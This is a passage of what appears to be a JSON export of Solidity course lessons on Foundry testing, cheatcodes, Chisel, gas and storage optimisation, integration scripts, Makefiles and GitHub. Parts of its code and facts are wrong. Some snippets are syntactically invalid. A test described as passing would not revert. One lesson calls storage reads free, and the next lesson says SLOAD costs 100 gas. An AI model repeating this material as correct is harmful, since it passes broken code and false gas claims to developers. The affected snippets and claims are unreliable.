smart contracts. This practice can substantially aid in making your contracts more flexible and easily deployable across multiple networks.\n\n## Codifying the Process\n\nThe logic we'll use here revolves around accessing the ​’ActiveNetwork activenetworkconfig' - a price feed we've already established. In our scenario, the guiding condition is whether this feed equals the zero address or not. Here's the snippet of code, we'll focus on:\n\n```js\nif(activeNetworkConfig.priceFeed != address(0) {\n return ActiveNetworkConfig;\n}\n```\n\nThis segment dictates that we check if the price feed has been initialized yet (i.e., equipped with an address not equal to address zero). If so, we have the green light to return and halt the running process, because no new deployment is needed.\n\n## Naming Conventions in Solidity\n\nAn issue with the function managing this operation is the naming convention; it doesn't clearly denote its duties. The function doesn't just \"get\" the configuration, it \"creates\" them as well. Therefore, \"getOrCreateAnvilETHConfig()\" is a more accurate and more descriptive name.\n\n\n\nOnce we have edited this function and put the mechanism into action, we can observe that tests, which would previously fail due to a missing contract, now run without any hassle. This success is because the helper configuration deploys a 'pseudo' price feed which successfully responds to our requests.\n\n## Testing and Results\n\nThere's an exciting aspect of the testing process to mention too:\n\nTypically, if you're using chain forking, you need to perform an API call to fetch the most recent state of the forked chain. This process significantly slows down the operation. However, with our new function, we can bypass this step and dramatically expedite the testing process.\n\n\n\nThis streamlined test represents a massive breakthrough, demonstrating how we've made the smart contract network agnostic — able to be deployed on any given network effortlessly.\n\n## Concluding Thoughts and a Job Well Done\n\nAs I always say, honing these skills will make you an absolute standout in the world of Solidity developers. Your understanding of network-agnostic techniques won't just make you a competent smart contract developer, but will elevate the industry standard for smart contract development.\n\nTo pat you all on the back, you've indeed learned something of massive significance here! However, the journey is far from over, and there's still much more to come.\n\nRemember, if any of this seems too much, make use of the course resources at hand and lean on the community forums for support. Your active participation will not only help you but will assist others as well.\n\nStay excited, keep learning, and I am looking forward to our next tutorial. Until then, happy coding!\n", + "updates": [] + }, + { + "lessonId": "f7cb3eb9-2da0-4843-b0fb-d6db0a6db13e", + "number": 13, + "slug": "foundr-tests-cheatcodes", + "title": "Foundry tests cheatcodes", + "description": "Guide on using Foundry tests cheat codes for efficient and effective testing of smart contracts, focusing on deployment strategies, code coverage, and test understanding.", + "duration": 13, + "videoUrl": "00Ha502ACBC2n2GPiYfJBcj01WJtQlJfESFiZBp00HJHeRk", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/13-more-cheatcodes/+page.md", + "markdownContent": "***\n\n## title: More Cheatcodes\n\n*Follow along with this video.*\n\n***\n\nHello, and welcome back to our advanced blockchain coding series. I hope you've taken a little break, as resting periods especially early in the course- are essential for grasping the plethora of advanced pieces of the blockchain puzzle we're working on.\n\nHere’s a gentle reminder: Spread the course over several days, not a single day. As the saying goes, repetition is the mother of skill; for skill acquisition to be successful, rests are necessary for the body to recuperate.\n\nHaving learned a great deal, we're sailing and doing fantastic.\n\n## Deployment Strategy: FundMe\n\nDid you know you can deploy **FundMe** on any chain with our setup helper config? Isn't it amazing? This feature permits the freedom of focusing solely on writing our tests in any network, with the assurance of our deployment setup working just perfectly.\n\n## Prioritizing Code Coverage\n\nWe emphasize the importance of code coverage throughout the course. Nevertheless, it isn't an end-all. For instance, you should continue coding if you don't attain 100% coverage. However, a figure beneath 10% doesn't spell well either.\n\nLet me provide a perspective: Without testing, there's a high probability of functional errors. Consequently, strive to write tests for as much code as is possible to allow the assurance that our code is indeed functioning as desired.\n\nLet's delve directly into coding using our function, `fund`. The code snippet should look like this:\n\n```js\nfunction testFundFailsWithoutEnoughETH() public {\n vm.expectRevert(); //the next line should revert\n // assert(This tx fails/reverts)\n uint256 cat = 1;\n}\n```\n\n\n\nThe function checks whether sending insufficient Ether will cause our contract to revert. If you run this code, you will note that it reverts as expected and thus passes the test. Furthermore, it checks that `FundMe.fails` when there is insufficient Ethereum sent, once again illustrating a successful test.\n\n## Honing Your Understanding of Fund Functionality\n\nTo further test our fund function, let's now consider instances where sufficient Ether has been sent:\n\n```js\nfunction testFundUpdatesFundedDataStructure() public {\n fundMe.fund(value: 10e18);\n uint256 amountFunded =fundMe.getAddressToAmountFunded(msg.sender);\n assertEq(amountFunded, 10e18);\n}\n```\n\nThe function above tests whether sending sufficient Ether (more than $5) updates the data structures correctly. This function accesses the contract data that was previously marked as private. This can be achieved by using getter functions, such as `getContractBalance`, instead of accessing the variables directly. This makes the code more readable, secure and efficient.\n\n## The Wrap\n\nCongratulations on completing this part of the course, it's indeed taken significant effort, and you are making progress! Code testing and understanding how it integrates with complex chains is an essential part of mastering advanced blockchain coding. Don't worry about the number of tests conducted; remember that the key is to understand and apply the concepts learned in code coverage.\n\nRemember to keep practicing and reworking the code until you fully understand how it functions. Good luck with your test and happy coding!\n", + "updates": [] + }, + { + "lessonId": "5f0631d9-6492-4995-8c79-431140cb12b5", + "number": 14, + "slug": "more-coverage", + "title": "Adding more coverage to the tests", + "description": "This lesson delves into advanced Solidity unit testing techniques. It includes writing robust tests for the 'getFunder' function and testing the contract owner's withdrawal function using the Arrange-Act-Assert methodology. The lesson aims to strengthen your code backend, making it almost bulletproof.", + "duration": 15, + "videoUrl": "zse5W02rF5lqtiVdxrULNqAaA813qBnzQ8lqCIm4e02X00", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/14-more-coverage/+page.md", + "markdownContent": "***\n\n## title: More Coverage\n\n*Follow along with this video.*\n\n***\n\nLet's delve deeper into Solidity unit testing by testing how our function adds funder to an array of funders. In the following guideline, we'll walk through writing solid unit tests that will make your code backend almost bulletproof.\n\n## Start with a Simple Test\n\nStep one involves writing a simple test to ensure our newly created 'getFunder' function works properly. Here is what your code may look like:\n\n```js\n function testAddsFunderToArrayOfFunders() public {\n vm.startPrank(USER);\n fundMe.fund{value: SEND_VALUE}();\n vm.stopPrank();\n\n address funder = fundMe.getFunder(0);\n assertEq(funder, USER);\n }\n```\n\nThe next step is running the test. You can use any test commands that are already set up on your server, such as `clear forge test` or `paste`. If all is well, proceed to the next step.\n\nTo ensure our data structure is updated correctly, multiple tests with multiple funders can be added. However, for this tutorial, we will settle for our successful single user test run.\n\n## Test the Owner's Withdrawal Function\n\nThe next step is to test our smart contract's owner withdrawal function. Only the owner should be able to call the withdrawal function. Here's a simple way to do that:\n\n```js\n function testOnlyOwnerCanWithdraw() public funded {\n vm.expectRevert();\n fundMe.withdraw();\n }\n```\n\nThe above test ensures that when a non-owner tries to withdraw, the function reverts.\n\n\n\n## Arrange-Act-Assert Testing Methodology\n\nThe arrange-act-assert (AAA) pattern is one of the simplest and most universally accepted ways to write tests. As the name suggests, it comprises three parts:\n\n1. **Arrange**: Set up the test by initializing variables, objects and prepping preconditions.\n2. **Act**: Perform the operation to be tested like a function invocation.\n3. **Assert**: Compare the received output with the expected output.\n\nHere is how the AAA methodology fits into our unit testing:\n\n```js\n function testWithdrawFromASingleFunder() public funded {\n // Arrange\n uint256 startingFundMeBalance = address(fundMe).balance;\n uint256 startingOwnerBalance = fundMe.getOwner().balance;\n\n // vm.txGasPrice(GAS_PRICE);\n // uint256 gasStart = gasleft();\n // // Act\n vm.startPrank(fundMe.getOwner());\n fundMe.withdraw();\n vm.stopPrank();\n\n // uint256 gasEnd = gasleft();\n // uint256 gasUsed = (gasStart - gasEnd) * tx.gasprice;\n\n // Assert\n uint256 endingFundMeBalance = address(fundMe).balance;\n uint256 endingOwnerBalance = fundMe.getOwner().balance;\n assertEq(endingFundMeBalance, 0);\n assertEq(\n startingFundMeBalance + startingOwnerBalance,\n endingOwnerBalance // + gasUsed\n );\n }\n\n```\n\n## Testing Withdrawals from Multiple Funders\n\nThe final test in our array of tests will check for withdrawals from multiple funders. This more complex functionality requires us to fund the contract from multiple sources, then check the balances and withdrawal process:\n\n```js\nfunction testWithDrawFromMultipleFunders() public funded {\n uint160 numberOfFunders = 10;\n uint160 startingFunderIndex = 2;\n for (uint160 i = startingFunderIndex; i < numberOfFunders + startingFunderIndex; i++) {\n // we get hoax from stdcheats\n // prank + deal\n hoax(address(i), STARTING_USER_BALANCE);\n fundMe.fund{value: SEND_VALUE}();\n }\n\n uint256 startingFundMeBalance = address(fundMe).balance;\n uint256 startingOwnerBalance = fundMe.getOwner().balance;\n\n vm.startPrank(fundMe.getOwner());\n fundMe.withdraw();\n vm.stopPrank();\n\n assert(address(fundMe).balance == 0);\n assert(startingFundMeBalance + startingOwnerBalance == fundMe.getOwner().balance);\n assert((numberOfFunders + 1) * SEND_VALUE == fundMe.getOwner().balance - startingOwnerBalance);\n }\n\n```\n\nAfter writing all your tests, it is good practice to test the coverage of your contracts.\n\nCongratulations, you have successfully learned how to write detailed and thorough tests for your smart contracts in Solidity!\n", + "updates": [] + }, + { + "lessonId": "6761590e-d73c-4e18-a19d-730f5b666548", + "number": 15, + "slug": "introduction-to-foundry-chisel", + "title": "Introduction to Foundry Chisel", + "description": "This lesson introduces Chisel, a tool for testing and debugging Solidity code directly in the terminal. It covers the basics of using Chisel, including launching the interactive shell, executing Solidity code, and exploring its functionalities. The lesson is a step-by-step guide to efficient Solidity testing.", + "duration": 2, + "videoUrl": "00MDEsM9Wxo156KifVDVFD01gazlBGeY1v5014AEV4T8AE", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/15-chisel/+page.md", + "markdownContent": "***\n\n## title: Chisel\n\n*Follow along with this video.*\n\n***\n\n## An Introduction to Chisel\n\nTypically, if we want to rapidly test a snippet of solidity code, we'd navigate over to Remix, an online compiler for Solidity programming language. However, with Chisel, we can directly test Solidity in our terminal swiftly and efficiently. This is a step-by-step guide on how to use Chisel for testing lines of code or debugging our tests.\n\n**Step 1: Launching Chisel**\n\nIt's as simple as typing in the command `chisel` in the terminal. The terminal instantly turns into an interactive shell where we can start testing our solidity code.\n\n```\nchisel\n```\n\n**Step 2: Exploring Chisel**\n\nIf you're unsure about what you can accomplish in this newly opened chisel shell, simply type in `!help`. The terminal will provide a wealth of information relevant to the command line's functionalities.\n\n```\n!help\n```\n\nThis step is not mandatory, but it's handy when you're new to Chisel and want to explore its range of capabilities.\n\n\n\n## Writing Solidity with Chisel\n\nChisel allows us to write Solidity directly into our terminal and execute it line by line. Here's an example:\n\n```bash\nuint256 cat = 1;\ncat\n```\n\n\n\nThis simplistic code creates a variable `cat` and assigns it a value of `1`. When `cat` is called, the program echoes out `1` as the output.\n\nContinuing with the example, we can perform simple operations too:\n\n```bash\nuint256 catAndThree = cat + 3;\ncatAndThree\n```\n\nThis block creates a new variable `cat_n_three` and assigns it the value of `cat` plus 3. The resultant output when called will be `4`.\n\n\n\nThis simplistic yet powerful interaction is what makes Chisel such a powerful tool for debugging and testing small pieces of Solidity code.\n\n\n\n## Exiting Chisel\n\nOnce you're done with your session, exiting from this Solidity testing environment is as straightforward as getting into it. Simply type `Control` + `C` to end the chisel session and return to your regular terminal.\n\n```\nControl + C\n```\n\nAll in all, Chisel redefines convenience, offering us a command-line interface to write, test, and debug Solidity. With this exceptional tool, you don't need to toggle between platforms to ensure your code runs smoothly—everything can be done right from the comfort of your terminal. Happy debugging!\n", + "updates": [] + }, + { + "lessonId": "b2817d50-67f7-49b7-826c-67021453f75c", + "number": 16, + "slug": "calculate-solidity-function-gas-costs", + "title": "Calculate Withdraw gas costs", + "description": "This lesson focuses on reducing gas consumption in Ethereum smart contracts. It explains how to evaluate gas costs, understand Anvil's zero gas-price, and utilize Solidity's built-in functions to optimize gas usage. The goal is to make contract execution more economical.", + "duration": 5, + "videoUrl": "wcdQdb01P200LLgZqZN7g5CeLLXKUaMGnM2wxYgOsdihE", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/16-cheaper-withdraw/+page.md", + "markdownContent": "***\n\n## title: Cheaper Withdraw\n\n*Follow along with this video.*\n\n***\n\nHello folks, let's turn our attention to an absolutely interesting aspect of Ethereum smart contracts - Gas. I'm going to show you the smart way of reducing the amount of gas you spend on executing your smart contracts, which turns out to be a beneficial piece of information, right? As most of us know, Ethereum gas is the fuel spent for every transaction we conduct or deploy on the blockchain. The more complicated our contract gets, the more gas we'll have to shell out. But what if there's a way to make this more economical?\n\n## Evaluating the Gas-cost Benchmark\n\nHow do you even figure out how much gas a transaction will cost you? For instance, let's consider a test for `withdraw` from multiple funders. What we can do is run `forge snapshot -m`, against this test. This call prompts the creation of a handy file named `Gas Snapshot`, which will reveal the exact amount of gas that this specific test will consume.\n\n**Tip:** You can convert between gas and Ether prices to ascertain how much this gas consumption will financially impact you. Optimization begins with identifying your current spending!\n\nWhat we did above is merely to establish a benchmark for our testing, i.e., our `withdraw` from multiple funders costs us so much gas.\n\n## Understanding Anvil's Zero Gas-price\n\nWhile working with Anvil local chains - forked or otherwise - the gas price defaults to zero. So, if we invoke a transaction - say `vm.prank(fundMe.getOwner())`, it should ideally cost us some gas. But when we calculate the final balance (or 'ending owner balance'), gas cost doesn't figure into it, thanks to Anvil's zero gas price. To simulate credible gas prices and consequently, real-world transaction costs, we turn to the helpful cheat code `TX gas price`, which standardizes the gas price for our transaction.\n\n```js\nuint256 constant GAS_PRICE = 1;\n```\n\n## Calculating Actual Gas Usage\n\nIn order to visualize the gas usage, we can leverage Solidity's built-in function `gas left()`. This calculates the remaining gas from a transaction after execution.\n\n```js\nuint256 gasStart = gasleft();\n```\n\nWe can repeat this process with `dash vv` and it will show us how much gas was actually expended in this particular transaction.\n\n## Making Gas Usage Cheaper\n\nNow that we have our gas snapshot and its holistic understanding, the question remains, can we make this cheaper? Yes, we absolutely can and this is where Ethereum's data location - storage - steps in. Long story short, data written in storage is expensive while reading from storage is free. Hence, using storage effectively could significantly reduce your gas usage and consequently, your transaction cost.\n\nStay tuned as we delve into the world of Ethereum storage optimization in the upcoming posts.\n", + "updates": [] + }, + { + "lessonId": "fe0f8efa-c582-4a5c-89d3-363fa12e9010", + "number": 17, + "slug": "solidity-storage-optimization", + "title": "Introduction to Storage optimization", + "description": "In this lesson, you'll learn about optimizing Ethereum smart contract storage to reduce gas consumption. It covers storage variables, their impact on gas usage, and how to efficiently use storage and memory in Solidity. The lesson also includes practical examples using Anvil.", + "duration": 10, + "videoUrl": "k1XhwATtf92UZI6vEu7i02ZnoT76PpiDzSE3wz82kO6I", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/17-storage/+page.md", + "markdownContent": "***\n\n## title: Storage\n\n*Follow along with this video.*\n\n***\n\n## A Look into Ethereum Gas Optimization\n\nIn pursuit of deciphering Ethereum smart contract storage, we need to address gas optimization. The term `gas` refers to the computational efforts needed to execute operations in the Ethereum virtual machine.\n\nNow, let's explore our contract variables and understand how they consume gas.\n\n\n\nIn one of the [freeCodeCamp videos](https://youtu.be/gyMwXuJrbJQ), a simple contract with global variables is analyzed. The objective here is to make our contract more gas-efficient by examining storage variables.\n\n## Breaking Down Storage Variables\n\nStorage variables, also known as state variables or global variables, play a crucial role in our contract's gas usage. These variables are persistent, meaning they retain their values between function calls.\n\nWhen we declare a variable in our contract, this variable gets allotted a spot in storage. It's helpful to visualize storage as a giant, numbered array, where each element comprises a `storage slot` of 32 bytes.\n\nEvery time we add a global variable, it takes up a new slot in this storage array. In the case of dynamic values such as arrays or mappings, these are managed using a hashing function whose specifics can lay hold of in the Solidity documentation.\n\n\n\n## Arrays and Mappings\n\nFor a better grasp, consider a dynamic array named `myArray`. The array length is stored at the array's storage slot, not the entire array.\n\n```js\nmyArray.push(222);\n```\n\nWhen we add an element to the array, it is stored at a specific location based on the aforementioned hashing function.\n\nHow about mappings? Common to arrays, Solidity assigns a storage slot for each mapping. Should the slot be empty, Solidity earmarks it for the mapping's hashing function.\n\nNow, you may wonder, how does Solidity handle constant and immutable variables? As it turns out, it doesn't store these variables. Instead, these variables become part of the bytecode of the contract. Consequently, the variables do not occupy space in the storage.\n\n## Local Variables and Memory Keyword\n\nIn contrast, variables declared within a function do not persist. Once the function finishes running, these variables are discarded. These are stored in a separate memory data structure.\n\nHere, we unearth why we often use the `memory` keyword, especially for strings.\n\n```js\nfunction getString() public pure returns (string memory) {return \"Hello, World!\";}\n```\n\nStrings, at their core, are dynamically sized arrays. Through `memory`, we instruct Solidity to allocate space for the string in the memory location, destined for deletion after usage.\n\n## Exploring Storage with Anvil\n\nAnvil offers an interesting way to inspect the storage of a Solidity contract. Using the command `forge inspect FundMe storageLayout`, we can inspect the storage layout of our contract.\n\nAnother way is through `Cast storage ` command. This way, you can fetch the content of a certain storage slot in your contract.\n\n\n\n)## On Blockchain Privacy\n\nLastly, even though we can declare variables as `private` in Solidity, the data isn't truly private. Due to the public nature of blockchains, anyone can read that information off of your or anybody's blockchain.\n\nIn conclusion, understanding how storage works within Ethereum smart contracts is a vital skill for a successful Solidity developer. It helps us write more efficient contracts and enable more cost-effective operations within the Ethereum ecosystem.\n", + "updates": [] + }, + { + "lessonId": "f3f4f5a4-ab08-4325-a072-eb9af95ca859", + "number": 18, + "slug": "optimise-solidity-function-gas-costs", + "title": "Optimise the withdraw function gas costs", + "description": "This advanced lesson teaches how to optimize the 'withdraw' function in smart contracts for lower gas costs. It discusses bytecode analysis, storage and memory operations, and practical code changes to reduce gas usage. The lesson includes a comparative analysis of gas usage before and after optimization.", + "duration": 8, + "videoUrl": "fs4II18hCRkZ02lq4D2dDE5338Adqtx02yqETMh9ua5QU", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/18-cheaper-withdraw-ii/+page.md", + "markdownContent": "***\n\n## title: Cheaper Withdraw (Continued)\n\n*Follow along with this video.*\n\n***\n\nAs budding young developers navigating through the intricacies of gas optimization in Ethereum, the issue of storage is one area that arguably minces no words. Sure, it could appear all fancy and sophisticated if you squint your eyes at the right angle – but we have to ask ourselves: why all this fuss about storage?\n\nThe reason is hardly elusive: reading and writing from storage is an overwhelming expense on our tightly-strapped gas resources. Unpicking or compressing any data stored in it drains the gas faster than you can imagine.\n\nLet's delve into this a little deeper to help iron out the creases:\n\n## The Web of Bytecode:\n\nWhen you compile your solidity code, it gets whittled down to bytecode per se. This enigmatic-looking bytecode can be unhashed to find the correlation between gas consumption and how storage is utilized when your contract is running on the Ethereum Virtual Machine (EVM). For this, you could simply switch over to [Remix](https://remix.ethereum.org/), hit compile, navigate to the compilation details, and select bytecode.\n\nWhen we scroll down to the end, we'll uncover two vital entities: Object and Opcodes. The object is an intricate pattern of your contract in bytecode, and the Opcodes are simply the bytecode version translated into a rudimentary set of instructions. Each Opcode — the lowest level of computer language — tattoos specific gas costs on each operation it conducts; the costs quickly aggregate to a monumental sum when you perform an operation through EVM.\n\nWe scroll through the Opcodes and observe a pattern in gas costs – most of them like addition, multiplication, and division cost around two or three gas. And then, boom!\n\n\n\n`SLOAD` is the Opcode that reads from storage, and it sets you back by a massive 100 gas. Similarly, S-store saves to storage, costing us the same gargantuan amount of gas. This instantly makes us realize the vast chasm of difference between storage and alternate operations, which usually cost just a few gas.\n\n## Aiming for Optimization:\n\nBut the conversation shouldn’t stop there. The dialogue around storage also goes beyond to unearth the possibility of a memory-load (M-load) and a memory-store (M-store) which cost just three gas each. We’re staring at a stark disproportion here: it’s almost 33 times more expensive to read and write from storage than it is to access memory. So, voila! The most straightforward initiative to optimizing gas is to perform read-write actions from memory, respecting the notion of expensive storage access.\n\nHaving keyed into this knowledge, we spring back to our FundMe contract’s withdrawal function. To dodge ransacking the holistic storage multiple times, we replace the subsequent reads with a prerecorded memory variable. We can quickly establish the new function for cheaper withdrawal. In this manner, we alter the looping process by initially reading from the storage just once and replace further iterated reads with a memory variable.\n\nThis yields the revised code:\n\n```js\nfunction cheaperWithdraw() public onlyOwner {\n address[] memory funders = s_funders;\n // mappings can't be in memory, sorry!\n for (uint256 funderIndex = 0; funderIndex < funders.length; funderIndex++) {\n address funder = funders[funderIndex];\n s_addressToAmountFunded[funder] = 0;\n }\n s_funders = new address[](0);\n // payable(msg.sender).transfer(address(this).balance);\n (bool success,) = i_owner.call{value: address(this).balance}(\"\");\n require(success);\n }\n```\n\n## Comparative Testing and Results\n\nWith that code snippet fleshed out, we can simply copy and adapt our previous test function, amending the call to use 'cheaperWithdraw'. Next, we establish a gas snapshot to encapsulate all of our tests. This can be done with the `forge snapshot` command in the terminal. We can then compare the gas usage of the two functions: the original `withdraw` and the optimized `cheaperWithdraw`. Already, we can observe an improvement with an approximate saving of 800 gas.\n\n## Style Guidelines in Etherem Development\n\nThe brandishing of style guides in developmental structure is a cornerstone to efficient coding. While ensuring code readability, it also provides a recognizable attribution to certain key identifiers in a solidity code environment.\n\nIn the Chainlink style guide, for instance, immutable variables are prefixed with `i_` while storage variables bear `s_`. These prefixes act as signals to the coders about the nature of these variable and the subsequent gas costs associated with them. It provides an opportunity for developers to consider cheaper alternatives like memory variables over storage variables.\n\nThe [Solidity Documentation](https://docs.soliditylang.org/en/v0.8.4/style-guide.html) provides a comprehensive guide to code layout, function names, and more. Chainlink has its own style guide, which is linked to the GitHub repo for this article.\n\n## Wrapping Up\n\nThis blog was all about imparting the importance of optimizing storage access in order to conserve gas in contract execution. It’s crucial to adapt to these techniques early on in your career as a blockchain developer. The ability to identify and adapt constructs that optimize gas usage will undoubtedly enhance your proficiency in developing efficient, less costly smart contracts.\n\nRemember that while it might seem like a small gain in the beginning, these savings will aggregate into substantial saving when you’re dealing with larger scale operations. You've done great work today! It's time now to push this code up to your GitHub and celebrate your first smart contract project.\n", + "updates": [] + }, + { + "lessonId": "698e9f4a-490b-4d3d-a344-eec70c6c49e7", + "number": 19, + "slug": "solidity-integration-tests", + "title": "Create integration tests", + "description": "Explore the creation of integration tests for Solidity smart contracts. This lesson covers the setup and execution of integration tests, ensuring that contract functions interact correctly with other system parts. It includes practical examples and a guide for setting up a comprehensive test suite.", + "duration": 15, + "videoUrl": "JlvoZcKaYcaLfD5AP6G3XzshoYSasPWxb5E01DPu1fZk", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/19-interactions/+page.md", + "markdownContent": "***\n\n## title: Interactions.s.sol\n\n*Follow along with this video.*\n\n***\n\n## Creating a Project README\n\nFirstly, you'd want to add a README.md file to your project in GitHub. This document should ideally explain clearly what your code does and how others can use it. A GitHub repository without a good README, it's like a book without a cover. Like a book cover, your README should clearly convey what the code within your repository does.\n\nHere's a suggested format for your README.\n\n* **Introduction:** Give a brief explanation of your project.\n* **Getting Started:** List the requirements for running your code.\n* **Quick Start**: Explain different commands and procedures to install and run your code.\n\n## Writing Integration Tests and Scripts\n\nOur steady progression brings us to the next crucial aspect, writing integration tests. To seamlessly interact with our contract, we need to create a programmatic way for funding and withdrawing. By creating integration tests, we can ensure that our contract functions as intended when used in conjunction with other parts of the system.\n\nLet's go through the process of creating a new test file named `Interactions.s.sol` under the `Script` section. We'll be dealing with two primary scripts here: `FundMe.sol` and `WithdrawFundMe.sol`.\n\nNow, let's consider a scenario where we want to fund our most recently deployed contract. For that purpose, we use a tool named Foundry DevOps. You can install it by simply running the following command in your terminal:\n\n```bash\nforge install ChainAccelOrf/foundry-devops --no-commit\n```\n\nIn your `Run` function, you can include the following lines of code to call the `FundFundMe` function:\n\n```javascript\n function fundFundMe(address mostRecentlyDeployed) public {\n vm.startBroadcast();\n FundMe(payable(mostRecentlyDeployed)).fund{value: SEND_VALUE}();\n vm.stopBroadcast();\n console.log(\"Funded FundMe with %s\", SEND_VALUE);\n }\n\n```\n\n\"The DevOps tool `mostRecentlyDeployed` is remarkably efficient at retrieving the most recently deployed version of a contract. No more manual hassles!\"\n\nAfter setting up the `FundMe` contract, you should also set up the `WithdrawFundMe` contract in the same way. The primary difference between these tests and the unit tests is that they're testing broader interactions.\n\n## Running and Verifying Tests\n\nUpon setting up the interactions correctly, start running your tests with the `forge test` command.\n\n```bash\nforge test\n```\n\nSeparating your integration tests and unit tests into different folders enhances your project management workflow. For instance, transferring the `FundMeTest.sol` to the `unit` folder might necessitate updating current import paths.\n\nTo validate that your functions integrate and work properly, create an `InteractionsTest.sol`. Just like for `FundMe`, the `FundMe` and `WithdrawFundMe` functions are set up for `InteractionsTest.sol`, albeit the testing is more specific to ensure your interactions function as desired.\n\nBringing it all together, we've now created a comprehensive suite of unit and integration tests that accurately reflects whether your code will function as expected.\n\n## In Conclusion:\n\nBuilding a solid portfolio that showcases your skills as an engineer need not be a strenuous task. By incorporating the above methods into your workflow, you're sure to gain an edge in your development career. A comprehensive README, Running Integration tests, creating scripts for interactions, and ensuring that when you're pretending to deploy to a live network, everything passes contributes greatly towards a professional blockchain project.\n\nSo, let's keep pushing until we get there because that's what awesome engineers do!\n", + "updates": [] + }, + { + "lessonId": "ff41ef82-ab94-4081-a724-1a513e9b9a31", + "number": 20, + "slug": "makefile", + "title": "Automate your smart contracts actions - Makefile", + "description": "Learn to streamline your development workflow using Makefiles. This lesson teaches how to automate the building and deployment processes of smart contracts. It includes detailed examples of deploying to networks like Sepolia and setting up a comprehensive Makefile for various development tasks.", + "duration": 9, + "videoUrl": "bS22srJO9vHbhehKUWNeN00qrFDRKrqVt3Pne2aSN302A", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/20-makefile/+page.md", + "markdownContent": "***\n\n## title: Makefile\n\n*Follow along with this video.*\n\n***\n\nDo you find writing long scripts all the time tedious? Or loathe the idea of having to re-enter your lengthy deployment commands constantly during your project's lifetime? If so, then you're on the right track! As developers, we always strive to work smart, not hard!\n\nAs we continue to discuss creation tests, I suggest a slight detour where we can introduce ways to make these often repeated scripts significantly easier. Our saviour: the *Makefile*.\n\n## A Makefile Primer\n\nA makefile is a text file used by the 'make' utility to automate the building and compiling processes of projects. Makefiles are a popular choice among developers due to their ability to streamline workflow drastically.\n\nIf you have not done so already, create a new file in your project folder called `makefile`. If everything's correctly installed, typing `make` in your terminal will return `no Targets stop`. If you experience any issues, install 'make' first.\n\n\n\nMakefiles, besides their main conveniences, also allow us to include environment variables automatically without having to source them every single time using `source env`.\n\nOur makefiles have the ability to create shortcuts. This way, we don't have to write and remember long scripts every single time. Here's an example of a shortcut.\n\n```makefile\n-include .env\nbuild:; forge build\n```\n\nWith this, `make build` in your terminal will execute `forge build`.\n\n## Deploying to Sepolia: A Detailed Example\n\nLet's now take a more comprehensive example: deploying to Sepolia. Here's the code outline for the makefile content:\n\n```makefile\ndeploy-sepolia:\n forge script script/DeployFundMe.s.sol:DeployFundMe --rpc-url $(SEPOLIA_RPC_URL)\n --private-key $(PRIVATE_KEY) --broadcast --verify --etherscan-api-key $(ETHERSCAN_API_KEY)\n --vvvv\n```\n\nThis command is quite extensive, and the last thing you'd want is to type it out every single time. You can now run the whole code with just: `make deploy-sepolia`.\n\nNote that we're deploying to a real network here, which incurs real costs. Therefore, only run this command if you intend to follow along in deploying your contract.\n\n**Important:** All environment variables in makefiles need to be enclosed using dollar signs and parentheses like so: $(variableName).\n\nTo enable automatic verification of our FundMe contracts on EtherScan, we'll need to create our own EtherScan API key. We'll then paste this key and the private key of our dummy account (not your real account), in our `.env file`.\n\nOnce the contract is deployed, and you paste the contract's address in folio, you will see that the contract has already been verified. No need to do it yourself on Etherscan, the script's got it covered!\n\n\n\n## A Ready-to-Use Makefile Framework\n\nTo make setting up makefiles a lot easier, I have prepared a ready-to-use framework. It's available on our course-specific [GitHub repo](https://github.com/Cyfrin/foundry-fund-me-f23/blob/main/Makefile).\n\nThis framework is quite expansive and covers a wide range of commonly used make commands. For instance, running `make help` will return a list of command options. To avoid going overboard with detailing makefiles, I strongly recommend you check out the framework and adapt it to your development processes. If you're keen to learn more about makefiles, hop onto your favourite search engine and find some good articles, or simply, Google it!\n\nIn conclusion, makefiles are an incredible tool for developers that help to simplify commands and make our workflows much more efficient. Utilize them, and you'll see a significant boost in your productivity. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "1b838275-adc8-4821-90b7-73c28e8b10cd", + "number": 21, + "slug": "pushing-to-github", + "title": "Pushing to Github", + "description": "This lesson guides you through the process of pushing your Solidity projects to GitHub. It covers best practices for using Git, managing sensitive information, and updating README files. The lesson is crucial for developers looking to showcase their work and collaborate in the crypto-community.", + "duration": 16, + "videoUrl": "z91JZEVPziKfbM6apLI3AZgmk7WdLSbCq44FjY4hHeI", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/21-pushing-to-github/+page.md", + "markdownContent": "***\n\n## title: Pushing to GitHub\n\n*Follow along with this video.*\n\n***\n\nWelcome fellow developers! In today's lesson, I'll guide you in pushing your work to GitHub using a badass GitHub repo. This action is the concluding step of your project. However, the first thing we want to ensure is that `env` is included in your `.gitignore`. Adding `broadcast` is a personal practice, and I advise you to do the same. The rationale behind this is avoiding a public push of anything inferior to GitHub.\n\nSometimes, it's beneficial to leave `lib` out, something that I plan to do here as well. The key take-home is learning to push code to GitHub. We are employing hardhat freeCodeCamp because it was used in one of my previous videos and we are kick-starting from an entirely blank GitHub.\n\nPlease note that the application of GitHub, coupled with git and version control, is crucial to the majority of crypto-community interactions and collaboration methods.\n\n## Open Source and the Crypto Community\n\n\n\nWith the open-source nature of web3 and crypto, all the smart contracts you create or use are visible. You can scrutinize the code, learn from it and develop your skills.\n\n\n\nIf you are eager to contribute, most of these protocols present grants and will recompense you for your contribution to their code. Alternatively, if you're keen on acquiring knowledge, you can generate pull requests to the codebases.\n\nWhen I was new to web three, one of the potent approaches I applied was making contributions to the Brownie Repo, a Pythonic smart contract framework aligned with Foundry. This process accelerated my learning and enabled me to interact and connect with several individuals in the community. Remember, GitHub profiles are crucial when applying for jobs. Hence, do your best to make your profile stand out.\n\n## GitHub and Decentralized Git Solutions\n\nAlthough GitHub is a centralized company, there are several decentralized git solutions presently under development. However, none of these are currently popular. If you want to get started or want a quick start, [GitHub docs](https://docs.github.com/en) provides numerous sets of documentation which you can refer to.\n\nYou should have a GitHub profile already set up. If you want to create a repo, you can utilize the 'Create a repo' section. Here, you'll learn to establish a repo directly via the website.\n\nHowever, creating a repo from the command line is advisable because it enables you to work without logging onto the internet every time you change your code.\n\nThis process involves following a 